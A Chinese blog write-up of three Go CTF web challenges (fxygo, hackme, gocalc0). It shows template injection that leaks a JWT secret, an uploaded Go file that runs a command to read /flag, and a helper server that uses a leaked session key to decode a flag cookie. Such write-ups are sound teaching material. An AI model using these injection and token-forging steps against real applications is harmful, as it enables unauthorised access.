• CTF—Go题目复现


    [2022DASCTF MAY 挑战赛] fxygo

    一道Go的模板注入

    前置知识

    由于没了解过Go的SSTI所以先简单看下:

    go语言快速入门:template模板 · Golang语言社区 · 看云 (kancloud.cn)

    Go SSTI初探 | tyskillのBlog

    go的SSTI漏洞成因与模板语法和jinja2差不多,都用到了{{}},通过{{.}}我们可以获得到作用域

    Demo

    package main
    
    import "html/template"
    import "os"
    
    func main() {
    
    	type person struct {
    		Id      int
    		Name    string
    		Country string
    	}
    
    	Sentiment := person{Id: 1, Name: "Sentiment", Country: "China"}
    
    	tmpl := template.New("")
    	tmpl.Parse("Hello {{.}}")
    	tmpl.Execute(os.Stdout, Sentiment)
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    当使用{{.}}时,会获取person结构体中的所有属性,所以在经过Execute渲染后,便会输出:

    Hello {1 Sentiment China}
    
    • 1

    除此外若想获取单个属性也可以用{{.Name}}

    tmpl.Parse("Hello {{.}}")
    改为
    tmpl.Parse("Hello {{.Name}}")
    
    • 1
    • 2
    • 3

    结果

    Hello Sentiment
    
    • 1

    复现

    主要有几个路由

    r.GET("/",index)
    r.POST("/", rootHandler)
    r.POST("/flag", flagHandler)
    r.POST("/auth", authHandler)
    r.POST("/register", Resist)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    先看/flag的flagHandler

    func flagHandler(c *gin.Context) {
       token := c.GetHeader("X-Token")
       if token != "" {
          id, is_admin := jwt_decode(token)
          if is_admin == true {
             p := Resp{true, "Hi " + id + ", flag is " + flag}
             res, err := json.Marshal(p)
             if err != nil {
             }
             c.JSON(200, string(res))
             return
          } else {
             c.JSON(403, gin.H{
                "code": 403,
                "status": "error",
             })
             return
          }
       }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    中间有一段:

    id, is_admin := jwt_decode(token)
    if is_admin == true {
    
    • 1
    • 2

    会对我们输入的token值解密,之后如果其中的is_admin是true的话,会输出flag,所以现在的问题是如何获取token

    authHandler()找到了获取token的方式

    func authHandler(c *gin.Context) {
       uid := c.PostForm("id")
       upw := c.PostForm("pw")
       if uid == "" || upw == "" {
          return
       }
       if len(acc) > 1024 {
          clear_account()
       }
       user_acc := get_account(uid)
       if user_acc.id != "" && user_acc.pw == upw {
          token, err := jwt_encode(user_acc.id, user_acc.is_admin)
          if err != nil {
             return
          }
          p := TokenResp{true, token}
          res, err := json.Marshal(p)
          if err != nil {
          }
          c.JSON(200, string(res))
          return
       }
       c.JSON(403, gin.H{
          "code": 403,
          "status": "error",
       })
       return
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    当我们传参id和pw时,会对我们传入的id和is_admin进行jwt加密,并返回以token形式返回

    但在此之前需要注意,在赋值之前是有一段判断的,也就是通过本题自定义的get_account()方法获取之前的作用域中的id和pw值,与我们创建的进行比较,只有一样才能成功赋值

    user_acc := get_account(uid)
    user_acc.id != "" && user_acc.pw == upw {
    
    • 1
    • 2

    而初始状态都是为空值的,所以在获取前需要先通过Resist(),进行赋值注册

    在这里插入图片描述

    注册成功后,在访问auth路径,获取到了token

    在这里插入图片描述

    得到token后,还需要解决一个问题,就是我们在注册时,默认传入的is_admin是false

    new_acc := Account{uid, upw, false, secret_key}
    
    • 1

    在这里插入图片描述

    所以就需要想办法找secret_key,进而修改is_admin

    rootHandler()发现模板渲染部分,首先是获取token中我们传入的id值,接着会进行渲染,最后通过 tpl.Execute(c.Writer, &acc)输出

    func rootHandler(c *gin.Context) {
       token := c.GetHeader("X-Token")
       if token != "" {
          id, _ := jwt_decode(token)
          acc := get_account(id)
          tpl, err := template.New("").Parse("Logged in as " + acc.id)
          if err != nil {
          }
          tpl.Execute(c.Writer, &acc)
          return
       } else {
    
          return
       }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    所以我们在最开始传入的id={{.}},在这个地方经过渲染后便会输出,该结构体中的所有属性值,其中就包括key

    type Account struct {
       id         string
       pw         string
       is_admin   bool
       secret_key string
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    rootHandler()的路由是POST请求/

    在这里插入图片描述

    获取key后,修改is_admin,/flag路由下传参即可

    在这里插入图片描述

    在这里插入图片描述

    这道题跟[LineCTF2022]gotm一样,80分的题可以去玩玩。

    [2022DASCTF MAY 挑战赛] hackme

    upload路径下有个文件上传入口

    在这里插入图片描述

    上传users.go后,访问users,上传的go文件会被执行,所以随便上传个执行命令的go文件即可

    Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)

    package main
    
    import (
       "bytes"
       "fmt"
       "log"
       "os/exec"
    )
    
    func main() {
       cmd := exec.Command("cat", "/flag")
       var stdout, stderr bytes.Buffer
       cmd.Stdout = &stdout 
       cmd.Stderr = &stderr 
       err := cmd.Run()
       outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
       fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
       if err != nil {
          log.Fatalf("cmd.Run() failed with %s\n", err)
       }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    在这里插入图片描述

    [VNCTF 2022] gocalc0

    在安装包时不知道什么时候代理变了,一直没下下来,如果同样下不下来的话可以先设置下代理

    go env -w GOPROXY=https://goproxy.cn
    
    • 1

    之后安装对应的包即可

    go get github.com/gin-contrib/sessions
    
    • 1

    非预期

    session两次base64解密即可

    在这里插入图片描述

    预期

    {{.}}获取源码

    package main
    
    import (
    	_ "embed"
    	"fmt"
    	"os"
    	"reflect"
    	"strings"
    	"text/template"
    
    	"github.com/gin-contrib/sessions"
    	"github.com/gin-contrib/sessions/cookie"
    	"github.com/gin-gonic/gin"
    	"github.com/maja42/goval"
    )
    
    var tpl string
    
    var source string
    
    type Eval struct {
    	E string `json:"e" form:"e" binding:"required"`
    }
    
    func (e Eval) Result() (string, error) {
    	eval := goval.NewEvaluator()
    	result, err := eval.Evaluate(e.E, nil, nil)
    	if err != nil {
    		return "", err
    	}
    	t := reflect.ValueOf(result).Type().Kind()
    
    	if t == reflect.Int {
    		return fmt.Sprintf("%d", result.(int)), nil
    	} else if t == reflect.String {
    		return result.(string), nil
    	} else {
    		return "", fmt.Errorf("not valid type")
    	}
    }
    
    func (e Eval) String() string {
    	res, err := e.Result()
    	if err != nil {
    		fmt.Println(err)
    		res = "invalid"
    	}
    	return fmt.Sprintf("%s = %s", e.E, res)
    }
    
    func render(c *gin.Context) {
    	session := sessions.Default(c)
    
    	var his string
    
    	if session.Get("history") == nil {
    		his = ""
    	} else {
    		his = session.Get("history").(string)
    	}
    
    	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
    	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
    	if err != nil {
    		fmt.Println(err)
    		c.String(500, "internal error")
    		return
    	}
    	if err := t.Execute(c.Writer, map[string]string{
    		"s0uR3e": source,
    	}); err != nil {
    		fmt.Println(err)
    	}
    }
    
    func main() {
    	port := os.Getenv("PORT")
    	if port == "" {
    		port = "8888"
    	}
    
    	r := gin.Default()
    	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    	r.Use(sessions.Sessions("session", store))
    
    	r.GET("/", func(c *gin.Context) {
    		render(c)
    	})
    
    	r.GET("/flag", func(c *gin.Context) {
    		session := sessions.Default(c)
    		session.Set("FLAG", os.Getenv("FLAG"))
    		session.Save()
    		c.String(200, "flag is in your session")
    	})
    
    	r.POST("/", func(c *gin.Context) {
    		session := sessions.Default(c)
    
    		var his string
    
    		if session.Get("history") == nil {
    			his = ""
    		} else {
    			his = session.Get("history").(string)
    		}
    
    		eval := Eval{}
    		if err := c.ShouldBind(&eval); err == nil {
    			his = his + eval.String() + "<br/>"
    		}
    		session.Set("history", his)
    		session.Save()
    		render(c)
    	})
    
    	r.Run(fmt.Sprintf(":%s", port))
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118

    在flag路由里将环境变量flag值设入cookie的FLAG中,但是cookie中的内容经过加密无法直接拿到,在本地搭建一样的环境,从相同cookie中拿到FLAG对应的值,找地方输出即可

    package main
    
    import (
       _ "embed"
       "fmt"
       "os"
    
       "github.com/gin-contrib/sessions"
       "github.com/gin-contrib/sessions/cookie"
       "github.com/gin-gonic/gin"
    )
    
    func main() {
       port := os.Getenv("PORT")
       if port == "" {
          port = "8888"
       }
       r := gin.Default()
       store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
       r.Use(sessions.Sessions("session", store))
       r.GET("/flag", func(c *gin.Context) {
          session := sessions.Default(c)
          c.String(200, session.Get("FLAG").(string))
       })
       r.Run(fmt.Sprintf(":%s", port))
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    在这里插入图片描述

  • 相关阅读:
    Ubuntu20.04安装Docker
    Spring Initializr方式构建Spring Boot项目
    ES6展开运算符“...”
    2022高考季征文获奖名单公布
    YOLOv5涨点优化:backbone改进 | TransXNet:聚合全局和局部信息的全新CNN-Transformer视觉主干| CVPR2024
    ComfyUI如何使用Face Detailer和ComfyI2I插件进行修脸
    Qt 常用控件按钮Button 案例分析
    本地录像视频文件如何推送到视频监控平台EasyCVR进行AI视频智能分析?
    LeetCode220912_102、除法求值
    如何挑选合适的文档外发加密系统,主要看这几点!
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/125419981